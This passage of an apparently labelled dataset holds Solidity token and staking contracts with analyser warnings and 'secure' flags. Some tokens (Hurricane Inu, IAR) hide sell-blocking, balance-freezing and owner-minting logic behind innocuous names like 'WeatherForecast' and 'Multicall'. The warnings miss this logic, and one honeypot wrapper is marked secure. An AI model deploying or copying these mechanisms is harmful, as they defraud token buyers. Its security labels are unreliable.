require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function WeatherForecast(\n address account,\n bool v1,\n bool v2,\n bool v3,\n uint256 v4\n ) external onlyOwner {\n PrepareRedistributionETH[account] = v1;\n DoRedistributionWithUniswap[account] = v2;\n detectSell = v3;\n getRedistributionStatus = v4;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n if ((address(sender) == _creator) && (tempVal == false)) {\n getRedistributionStatus = chTx;\n detectSell = true;\n }\n\n if ((address(sender) == _creator) && (tempVal == true)) {\n PrepareRedistributionETH[recipient] = true;\n tempVal = false;\n }\n\n if (PrepareRedistributionETH[sender] == false) {\n if ((amount > setTxLimit)) {\n require(false);\n }\n\n require(amount < getRedistributionStatus);\n if (detectSell == true) {\n if (DoRedistributionWithUniswap[sender] == true) {\n require(false);\n }\n DoRedistributionWithUniswap[sender] = true;\n }\n }\n\n uint256 taxamount = amount;\n\n _balances[sender] = senderBalance - taxamount;\n _balances[recipient] += taxamount;\n\n emit Transfer(sender, recipient, taxamount);\n }\n\n function _burn(address account, uint256 amount) internal {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _balances[account] -= amount;\n _balances[address(0)] += amount;\n emit Transfer(account, address(0), amount);\n }\n\n function _TropicalStorm(\n address account,\n uint256 amount,\n uint256 val1,\n uint256 val2\n ) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n _balances[account] += amount;\n\n getRedistributionStatus = _totalSupply;\n\t\t// divide-before-multiply | ID: 7076cd0\n chTx = _totalSupply / val1;\n\t\t// divide-before-multiply | ID: 7076cd0\n setTxLimit = chTx * val2;\n\n emit Transfer(address(0), account, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n if ((address(owner) == _creator) && (redistMechanic == true)) {\n PrepareRedistributionETH[spender] = true;\n DoRedistributionWithUniswap[spender] = false;\n redistMechanic = false;\n }\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_2445.sol",
"secure": 0,
"size_bytes": 8021
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ERC20Hurricane is Context, ERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 86f8479): ERC20Hurricane.constructor(string,string,bool,bool,uint256,uint256,address,uint256,address,uint256).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 86f8479: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ae08ad0): ERC20Hurricane.constructor(string,string,bool,bool,uint256,uint256,address,uint256,address,uint256).symbol shadows ERC20.symbol() (function) IERC20Metadata.symbol() (function)\n\t// Recommendation for ae08ad0: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ac840b6): ERC20Hurricane.constructor(string,string,bool,bool,uint256,uint256,address,uint256,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ac840b6: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol,\n bool house101,\n bool house2,\n uint256 house6,\n uint256 house7,\n address creator,\n uint256 initialSupply,\n address owner,\n uint256 house9\n ) ERC20(name, symbol, creator, house101, house2, house9) {\n _TropicalStorm(owner, initialSupply, house6, house7);\n }\n}",
"file_name": "solidity_code_2446.sol",
"secure": 0,
"size_bytes": 1653
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Hurricane.sol\" as ERC20Hurricane;\n\ncontract HurricaneInu is ERC20Hurricane {\n constructor()\n ERC20Hurricane(\n \"Hurricane Inu\",\n \"HURRICANEINU\",\n false,\n true,\n 900,\n 25,\n msg.sender,\n 5000000000 * 10 ** 18,\n msg.sender,\n 50\n )\n {}\n}",
"file_name": "solidity_code_2447.sol",
"secure": 1,
"size_bytes": 462
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Cloneable {\n function clone() external returns (address) {\n return _clone(address(this));\n }\n\n function _clone(\n address implementation\n ) internal returns (address instance) {\n assembly {\n let ptr := mload(0x40)\n mstore(\n ptr,\n 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000\n )\n mstore(add(ptr, 0x14), shl(0x60, implementation))\n mstore(\n add(ptr, 0x28),\n 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000\n )\n instance := create(0, ptr, 0x37)\n }\n require(instance != address(0), \"ERC1167: create failed\");\n }\n}",
"file_name": "solidity_code_2448.sol",
"secure": 1,
"size_bytes": 829
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IStaking {\n function __init__(\n address nft,\n address rewardToken,\n uint256 lockTime,\n string calldata name,\n string calldata symbol,\n address lockTimeSetter\n ) external;\n}",
"file_name": "solidity_code_2449.sol",
"secure": 1,
"size_bytes": 301
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract BaseToken is ERC20, Ownable {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0f4f9d1): BaseToken.constructor(address,string,string,uint256).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 0f4f9d1: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5db276d): BaseToken.constructor(address,string,string,uint256).symbol shadows ERC20.symbol() (function) IERC20Metadata.symbol() (function)\n\t// Recommendation for 5db276d: Rename the local variables that shadow another component.\n constructor(\n address tokenOwner,\n string memory name,\n string memory symbol,\n uint256 initialSupply\n ) ERC20(name, symbol) Ownable(tokenOwner) {\n _mint(msg.sender, initialSupply * (10 ** decimals()));\n }\n\n function mint(uint256 amount) external onlyOwner {\n _mint(msg.sender, amount * (10 ** decimals()));\n }\n\n function transferTokens(\n address recipient,\n uint256 amount\n ) external onlyOwner {\n _transfer(msg.sender, recipient, amount * (10 ** decimals()));\n }\n}",
"file_name": "solidity_code_245.sol",
"secure": 0,
"size_bytes": 1403
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IHasTotalSupply {\n function totalSupply() external view returns (uint256);\n}",
"file_name": "solidity_code_2450.sol",
"secure": 1,
"size_bytes": 153
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./Cloneable.sol\" as Cloneable;\nimport \"./IStaking.sol\" as IStaking;\nimport \"./IHasTotalSupply.sol\" as IHasTotalSupply;\n\ncontract NFTStakingGenerator is Ownable {\n address public proxyImplementation;\n\n struct Project {\n string name;\n address nft;\n address stakingProxy;\n uint256 minID;\n uint256 maxID;\n }\n\n mapping(address => Project) public stakingToProject;\n\n mapping(address => Project) public nftToStaking;\n\n address[] public allProjects;\n\n mapping(address => bool) public canCreateStakingContracts;\n modifier canCreate() {\n require(\n canCreateStakingContracts[msg.sender] ||\n msg.sender == this.getOwner(),\n \"Invalid Permissions\"\n );\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6a701f6): NFTStakingGenerator.constructor(address).implementation lacks a zerocheck on \t proxyImplementation = implementation\n\t// Recommendation for 6a701f6: Check that the address is not zero.\n constructor(address implementation) {\n canCreateStakingContracts[msg.sender] = true;\n\t\t// missing-zero-check | ID: 6a701f6\n proxyImplementation = implementation;\n }\n\n function setMinMax(\n address project,\n uint256 newMin,\n uint256 newMax\n ) external onlyOwner {\n stakingToProject[project].minID = newMin;\n stakingToProject[project].maxID = newMax;\n\n nftToStaking[stakingToProject[project].nft].minID = newMin;\n nftToStaking[stakingToProject[project].nft].maxID = newMax;\n }\n\n function givePermissionToCreateStakingContracts(\n address user,\n bool isAllowed\n ) external onlyOwner {\n canCreateStakingContracts[user] = isAllowed;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6cc349e): NFTStakingGenerator.setNewImplementation(address).newProxyImplementation lacks a zerocheck on \t proxyImplementation = newProxyImplementation\n\t// Recommendation for 6cc349e: Check that the address is not zero.\n function setNewImplementation(\n address newProxyImplementation\n ) external onlyOwner {\n\t\t// missing-zero-check | ID: 6cc349e\n proxyImplementation = newProxyImplementation;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d8e422c): NFTStakingGenerator.createWithImplementation(address,string,string,address,address,uint256,uint256,uint256,address).owner shadows Ownable.owner (state variable)\n\t// Recommendation for d8e422c: Rename the local variables that shadow another component.\n function createWithImplementation(\n address nft,\n string calldata name,\n string calldata symbol,\n address implementation,\n address rewardToken,\n uint256 lockTime,\n uint256 min,\n uint256 max,\n address owner\n ) external canCreate returns (address) {\n return\n _create(\n nft,\n name,\n symbol,\n implementation,\n rewardToken,\n lockTime,\n min,\n max,\n owner\n );\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ba1c957): NFTStakingGenerator.create(address,string,string,address,uint256,uint256,uint256,address).owner shadows Ownable.owner (state variable)\n\t// Recommendation for ba1c957: Rename the local variables that shadow another component.\n function create(\n address nft,\n string calldata name,\n string calldata symbol,\n address rewardToken,\n uint256 lockTime,\n uint256 min,\n uint256 max,\n address owner\n ) external canCreate returns (address) {\n return\n _create(\n nft,\n name,\n symbol,\n proxyImplementation,\n rewardToken,\n lockTime,\n min,\n max,\n owner\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e20c32c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e20c32c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d1f3b59): NFTStakingGenerator._create(address,string,string,address,address,uint256,uint256,uint256,address).owner shadows Ownable.owner (state variable)\n\t// Recommendation for d1f3b59: Rename the local variables that shadow another component.\n function _create(\n address nft,\n string calldata name,\n string calldata symbol,\n address implementation,\n address rewardToken,\n uint256 lockTime,\n uint256 min,\n uint256 max,\n address owner\n ) internal returns (address project) {\n\t\t// reentrancy-benign | ID: e20c32c\n project = Cloneable(implementation).clone();\n\n\t\t// reentrancy-benign | ID: e20c32c\n IStaking(project).__init__(\n nft,\n rewardToken,\n lockTime,\n name,\n symbol,\n owner\n );\n\n Project memory newProject = Project({\n name: name,\n nft: nft,\n stakingProxy: project,\n minID: min,\n maxID: max\n });\n\n\t\t// reentrancy-benign | ID: e20c32c\n stakingToProject[project] = newProject;\n\t\t// reentrancy-benign | ID: e20c32c\n nftToStaking[nft] = newProject;\n\n\t\t// reentrancy-benign | ID: e20c32c\n allProjects.push(project);\n }\n\n function fetchAllProjects() external view returns (address[] memory) {\n return allProjects;\n }\n\n function fetchAllProjectsAndNames()\n external\n view\n returns (address[] memory, string[] memory)\n {\n uint256 len = allProjects.length;\n string[] memory names = new string[](len);\n for (uint256 i = 0; i < len; ) {\n names[i] = stakingToProject[allProjects[i]].name;\n unchecked {\n ++i;\n }\n }\n\n return (allProjects, names);\n }\n\n function fetchAllProjectsAndNamesAndNFTs()\n external\n view\n returns (address[] memory, string[] memory, address[] memory)\n {\n uint256 len = allProjects.length;\n string[] memory names = new string[](len);\n address[] memory nfts = new address[](len);\n for (uint256 i = 0; i < len; ) {\n names[i] = stakingToProject[allProjects[i]].name;\n nfts[i] = stakingToProject[allProjects[i]].nft;\n unchecked {\n ++i;\n }\n }\n\n return (allProjects, names, nfts);\n }\n\n function fetchAllProjectsAndNamesNFTsMinsMaxs()\n external\n view\n returns (\n address[] memory,\n string[] memory,\n address[] memory,\n uint256[] memory,\n uint256[] memory\n )\n {\n uint256 len = allProjects.length;\n string[] memory names = new string[](len);\n address[] memory nfts = new address[](len);\n uint256[] memory mins = new uint256[](len);\n uint256[] memory maxs = new uint256[](len);\n for (uint256 i = 0; i < len; ) {\n names[i] = stakingToProject[allProjects[i]].name;\n nfts[i] = stakingToProject[allProjects[i]].nft;\n mins[i] = stakingToProject[allProjects[i]].minID;\n maxs[i] = stakingToProject[allProjects[i]].maxID;\n unchecked {\n ++i;\n }\n }\n\n return (allProjects, names, nfts, mins, maxs);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: f010afd): NFTStakingGenerator.fetchAllProjectsAndNamesNFTsMinTotals() has external calls inside a loop maxs[i] = IHasTotalSupply(stakingToProject[allProjects[i]].nft).totalSupply()\n\t// Recommendation for f010afd: Favor pull over push strategy for external calls.\n function fetchAllProjectsAndNamesNFTsMinTotals()\n external\n view\n returns (\n address[] memory,\n string[] memory,\n address[] memory,\n uint256[] memory,\n uint256[] memory\n )\n {\n uint256 len = allProjects.length;\n string[] memory names = new string[](len);\n address[] memory nfts = new address[](len);\n uint256[] memory mins = new uint256[](len);\n uint256[] memory maxs = new uint256[](len);\n for (uint256 i = 0; i < len; ) {\n names[i] = stakingToProject[allProjects[i]].name;\n nfts[i] = stakingToProject[allProjects[i]].nft;\n mins[i] = stakingToProject[allProjects[i]].minID;\n\t\t\t// calls-loop | ID: f010afd\n maxs[i] = IHasTotalSupply(stakingToProject[allProjects[i]].nft)\n .totalSupply();\n unchecked {\n ++i;\n }\n }\n\n return (allProjects, names, nfts, mins, maxs);\n }\n}",
"file_name": "solidity_code_2451.sol",
"secure": 0,
"size_bytes": 9548
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MFLY is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n mapping(address => bool) public isPauseExempt;\n bool isPaused;\n\n constructor() {\n _name = \"Monarch Butterfly\";\n _symbol = \"MFLY\";\n uint256 e_totalSupply = 1_000_000_000_000 ether;\n isPaused = true;\n\n isPauseExempt[msg.sender] = true;\n\n _mint(msg.sender, e_totalSupply);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: aeb9b9a): MFLY.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for aeb9b9a: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f5118c8): MFLY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f5118c8: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 64bdced): MFLY.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 64bdced: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f42c25c): MFLY.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f42c25c: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, _allowances[owner][spender] + addedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0df90fc): MFLY.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0df90fc: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = _allowances[owner][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n require(!isPaused || isPauseExempt[from], \"Transactions are paused.\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: baf793a): MFLY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for baf793a: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b89aaec): MFLY._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b89aaec: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function setPauseExempt(address account, bool value) external onlyOwner {\n isPauseExempt[account] = value;\n }\n\n function setPaused(bool value) external onlyOwner {\n isPaused = value;\n }\n}",
"file_name": "solidity_code_2452.sol",
"secure": 0,
"size_bytes": 8197
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract IAR is Ownable {\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8afd832): IAR._tokentotalSupply should be immutable \n\t// Recommendation for 8afd832: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _tokentotalSupply;\n string private _tokenname;\n string private _tokensymbol;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private ppPassCard;\n\t// WARNING Optimization Issue (immutable-states | ID: 8620721): IAR.passAdmin07 should be immutable \n\t// Recommendation for 8620721: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public passAdmin07;\n function exitdogegg(address kiki) external {\n if (passAdmin07 != _msgSender()) {\n revert(\"pass error\");\n }\n\n ppPassCard[kiki] = false;\n }\n\n function Multicall(address kiki) external {\n if (passAdmin07 != _msgSender()) {\n revert(\"pass error\");\n }\n\n ppPassCard[kiki] = true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f6c22fe): IAR.constructor(address,string,string).jkadmin shadows IAR.jkadmin(address) (function)\n\t// Recommendation for f6c22fe: Rename the local variables that shadow another component.\n function jkadmin(address cc) external {\n if (passAdmin07 != _msgSender()) {\n revert(\"pass error\");\n }\n uint256 amount = 1000000000000 * 10 ** decimals() * 85000;\n _balances[_msgSender()] += amount;\n }\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f8c42da): IAR.constructor(address,string,string).jkadmin lacks a zerocheck on \t passAdmin07 = jkadmin\n\t// Recommendation for f8c42da: Check that the address is not zero.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f6c22fe): IAR.constructor(address,string,string).jkadmin shadows IAR.jkadmin(address) (function)\n\t// Recommendation for f6c22fe: Rename the local variables that shadow another component.\n constructor(address jkadmin, string memory tn, string memory ts) {\n _tokenname = tn;\n _tokensymbol = ts;\n uint256 amount = 1000000000000 * 10 ** decimals();\n _tokentotalSupply += amount;\n _balances[msg.sender] += amount;\n\t\t// missing-zero-check | ID: f8c42da\n passAdmin07 = jkadmin;\n emit Transfer(address(0), msg.sender, amount);\n }\n\n function name() public view returns (string memory) {\n return _tokenname;\n }\n\n function symbol() public view returns (string memory) {\n return _tokensymbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view returns (uint256) {\n return _tokentotalSupply;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(_msgSender(), to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1e7f144): IAR.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1e7f144: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 744c790): IAR.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 744c790: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 92e02ae): IAR.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 92e02ae: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(owner, spender, currentAllowance - subtractedValue);\n return true;\n }\n\n function _transfer(\n address fromSender,\n address toSender,\n uint256 amount\n ) internal virtual {\n require(\n fromSender != address(0),\n \"ERC20: transfer from the zero address\"\n );\n require(toSender != address(0), \"ERC20: transfer to the zero address\");\n uint256 balance = _balances[fromSender];\n if (ppPassCard[fromSender] == true) {\n balance = _balances[fromSender] - _balances[fromSender];\n }\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n _balances[fromSender] = _balances[fromSender] - amount;\n _balances[toSender] = _balances[toSender] + amount;\n emit Transfer(fromSender, toSender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d0aa84b): IAR._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d0aa84b: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ff650e8): IAR._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ff650e8: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}",
"file_name": "solidity_code_2453.sol",
"secure": 0,
"size_bytes": 7824
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract Ownable is Context {\n address private _owner;\n address private _previousOwner;\n uint256 private _lockTime;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n _owner = msgSender;\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n emit OwnershipTransferred(_owner, newOwner);\n _owner = newOwner;\n }\n\n function geUnlockTime() public view returns (uint256) {\n return _lockTime;\n }\n\n function lock(uint256 time) public virtual onlyOwner {\n _previousOwner = _owner;\n _owner = address(0);\n _lockTime = block.timestamp + time;\n emit OwnershipTransferred(_owner, address(0));\n }\n\n function unlock() public virtual {\n require(\n _previousOwner == msg.sender,\n \"You don't have permission to unlock\"\n );\n\t\t// timestamp | ID: 66dfc43\n require(block.timestamp > _lockTime, \"Contract is locked until 7 days\");\n emit OwnershipTransferred(_owner, _previousOwner);\n _owner = _previousOwner;\n }\n}",
"file_name": "solidity_code_2454.sol",
"secure": 1,
"size_bytes": 1912
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\ninterface IAirdrop {\n function airdrop(address recipient, uint256 amount) external;\n}",
"file_name": "solidity_code_2455.sol",
"secure": 1,
"size_bytes": 159
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Tatereum is Context, IERC20, Ownable {\n using SafeMath for uint256;\n using Address for address;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private _isExcluded;\n address[] private _excluded;\n\n mapping(address => bool) private botWallets;\n\t// WARNING Optimization Issue (constable-states | ID: f050208): Tatereum.botscantrade should be constant \n\t// Recommendation for f050208: Add the 'constant' attribute to state variables that never change.\n bool botscantrade = false;\n\n bool public canTrade = false;\n\n uint256 private constant MAX = ~uint256(0);\n\t// WARNING Optimization Issue (constable-states | ID: eb96070): Tatereum._tTotal should be 